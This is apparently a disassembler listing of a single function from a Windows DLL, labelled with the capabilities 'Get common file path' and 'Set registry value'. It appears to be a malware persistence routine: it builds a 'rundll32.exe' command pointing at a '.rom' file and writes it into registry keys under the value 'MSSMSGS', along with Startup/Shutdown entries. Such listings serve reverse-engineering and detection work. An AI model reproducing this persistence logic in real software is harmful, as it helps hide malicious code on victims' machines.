Function at 0x100055a0
Capabilities:
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c14
call fcn.1000b940
mov dword [ebp - 0x1c14], ecx
mov dword [ebp - 0x414], 0
mov eax, dword [ebp - 0x1c14]
add eax, 0x18e8
push eax
mov ecx, dword [ebp - 0x1c14]
call fcn.10005a40
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x10c]
push ecx
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [ebp + eax - 0x10c], 0
mov ecx, dword [ebp - 0x1c14]
movzx edx, byte [ecx + 8]
test edx, edx
je 0x1000595a
mov eax, dword [ebp - 0x1c14]
movzx ecx, byte [eax + 0x1c]
test ecx, ecx
jne 0x1000595a
push 0x1000e10c
lea ecx, [ebp - 0x410]
call fcn.10002a50
push eax
lea edx, [ebp - 0x628]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x628]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x420], 0x80000002
lea edx, [ebp - 0x628]
test edx, edx
je 0x10005681
lea eax, [ebp - 0x628]
push eax
lea ecx, [ebp - 0x520]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp - 0x1c14]
movzx eax, byte [edx + 9]
test eax, eax
je 0x1000578e
push 0x1000e248
lea ecx, [ebp - 0x410]
call fcn.10002a50
mov dword [ebp - 0x1bdc], eax
mov dword [ebp - 0x630], 0x80000001
cmp dword [ebp - 0x1bdc], 0
je 0x100056d0
mov ecx, dword [ebp - 0x1bdc]
push ecx
lea edx, [ebp - 0x730]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.rundll32.exe
lea eax, [ebp - 0x628]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x628]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str..rom
lea eax, [ebp - 0x628]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x1000d27c
lea ecx, [ebp - 0x628]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x1000d274
lea edx, [ebp - 0x628]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x1be0], 0
lea eax, [ebp - 0x628]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea ecx, [ebp - 0x628]
push ecx
push 1
push str.MSSMSGS
lea edx, [ebp - 0x730]
push edx
mov eax, dword [ebp - 0x630]
push eax
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov dword [ebp - 0x1be0], eax
xor ecx, ecx
cmp dword [ebp - 0x1be0], 0
sete cl
movzx edx, cl
test edx, edx
jne 0x10005789
mov dword [ebp - 0x414], 7
jmp 0x10005955
mov dword [ebp - 0x1bf0], 1
push 0x1000e278
lea ecx, [ebp - 0x410]
call fcn.10002a50
mov dword [ebp - 0x1bec], eax
mov dword [ebp - 0x1be4], 0
mov dword [ebp - 0x1be8], 4
mov eax, dword [ebp - 0x1be8]
push eax
lea ecx, [ebp - 0x1bf0]
push ecx
push 4
mov edx, dword [ebp - 0x1bec]
push edx
lea eax, [ebp - 0x520]
push eax
mov ecx, dword [ebp - 0x420]
push ecx
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov dword [ebp - 0x1be4], eax
cmp dword [ebp - 0x1be4], 0
je 0x10005805
mov byte [ebp - 0x1bf1], 0
jmp 0x1000580c
mov byte [ebp - 0x1bf1], 1
movzx edx, byte [ebp - 0x1bf1]
test edx, edx
je 0x1000594b
push 0x1000e288
lea ecx, [ebp - 0x410]
call fcn.10002a50
mov dword [ebp - 0x1bfc], eax
mov dword [ebp - 0x1bf8], 0
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [ebp - 0x10c]
push ecx
push 1
mov edx, dword [ebp - 0x1bfc]
push edx
lea eax, [ebp - 0x520]
push eax
mov ecx, dword [ebp - 0x420]
push ecx
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov dword [ebp - 0x1bf8], eax
xor edx, edx
cmp dword [ebp - 0x1bf8], 0
sete dl
movzx eax, dl
test eax, eax
je 0x1000594b
mov dword [ebp - 0x1c0c], 0
push 0x1000e294
lea ecx, [ebp - 0x410]
call fcn.10002a50
mov dword [ebp - 0x1c08], eax
mov dword [ebp - 0x1c00], 0
mov dword [ebp - 0x1c04], 4
mov ecx, dword [ebp - 0x1c04]
push ecx
lea edx, [ebp - 0x1c0c]
push edx
push 4
mov eax, dword [ebp - 0x1c08]
push eax
lea ecx, [ebp - 0x520]
push ecx
mov edx, dword [ebp - 0x420]
push edx
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov dword [ebp - 0x1c00], eax
cmp dword [ebp - 0x1c00], 0
je 0x10005901
mov byte [ebp - 0x1c0d], 0
jmp 0x10005908
mov byte [ebp - 0x1c0d], 1
movzx eax, byte [ebp - 0x1c0d]
test eax, eax
je 0x1000594b
push 0x1000d190
push str.Startup
lea ecx, [ebp - 0x520]
call fcn.10008350
movzx ecx, al
test ecx, ecx
je 0x1000594b
push 0x1000d264
push str.Shutdown
lea ecx, [ebp - 0x520]
call fcn.10008350
movzx edx, al
test edx, edx
jne 0x10005955
mov dword [ebp - 0x414], 6
jmp 0x10005a21
push 0x80000001
push 0x1000e248
lea ecx, [ebp - 0x410]
call fcn.10002a50
push eax
lea ecx, [ebp - 0x838]
call fcn.10008320
push str.rundll32
lea eax, [ebp - 0x940]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp - 0x1c14]
movzx edx, byte [ecx + 0x1c]
test edx, edx
je 0x100059c1
lea eax, [ebp - 0xa48]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0xa48]
push ecx
lea edx, [ebp - 0x940]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x940]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x1000d27c
lea edx, [ebp - 0x940]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x1000d274
lea eax, [ebp - 0x940]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x940]
push ecx
push str.MSSMSGS
lea ecx, [ebp - 0x838]
call fcn.10008350
movzx edx, al
test edx, edx
jne 0x10005a21
mov dword [ebp - 0x414], 7
mov eax, dword [ebp - 0x414]
mov esp, ebp
pop ebp
ret